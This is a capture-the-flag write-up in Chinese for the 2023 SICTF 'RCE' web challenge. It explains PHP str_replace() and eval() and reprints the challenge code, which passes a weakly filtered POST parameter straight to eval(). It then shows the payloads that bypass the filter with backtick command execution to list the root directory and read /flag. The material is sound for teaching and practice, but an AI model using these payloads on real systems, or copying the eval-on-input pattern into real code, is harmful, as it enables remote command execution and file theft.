2023SICTF-web-RCE

2023-10-13 10:57:47 浏览数 (1)

# 0×01 分析题目 # 题目名称:     RCE 题目简介:     请bypass我! 题目环境:     http://210.44.151.51:10088/ 函数理解: #PHP str_replace() 函数

    <!DOCTYPE html>     <html>     <body>     <?php     echo str_replace("world","Shanghai","Hello world!");     ?>     </body>     </html>

#Hello Shanghai! 定义和用法 str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。 该函数必须遵循下列规则:     1.如果搜索的字符串是数组,那么它将返回数组。     2.如果搜索的字符串是数组,那么它将对数组中的每个元素进行查找和替换。     3.如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换     4.如果查找的是数组,而替换的是字符串,那么替代字符串将对所有查找到的值起作用。 #语法     str_replace(find,replace,string,count) 参数     1.find    必需。规定要查找的值。     2.replace    必需。规定替换 find 中的值的值。     3.string    必需。规定被搜索的字符串。     4.count    可选。对替换数进行计数的变量。

#eval() 函数把字符串按照 PHP 代码来计算。

环境代码:     <?php                                           #PHP开始代码,头代码     error_reporting(0);                             #屏蔽所有报错信息     highlight_file(__FILE__);                       #文件高亮显示,将代码呈现出来     _POST方法获取code参数的值     code = str_replace("(","hacker",code);        #将参数code里面的(替换为hacker     code = str_replace(".","hacker",code);        #将参数code里面的.替换为hacker     eval(code);                                    #将参数code的值或者字符串作为PHP代码来执行     ?>                                              #执行 不难看出题目中进行了(和.的过滤,我们的进行RCE绕过

# 0×02 开始解题 # 我们可以利用反引号执行命令 echo输出     code=echo `ls /`; 输出了根/目录下的所有文件及其目录 看到一个名为flag的文件 使用cat命令去查看里面的内容     code=echo `cat /flag`; #最终曝出了flag

0 人点赞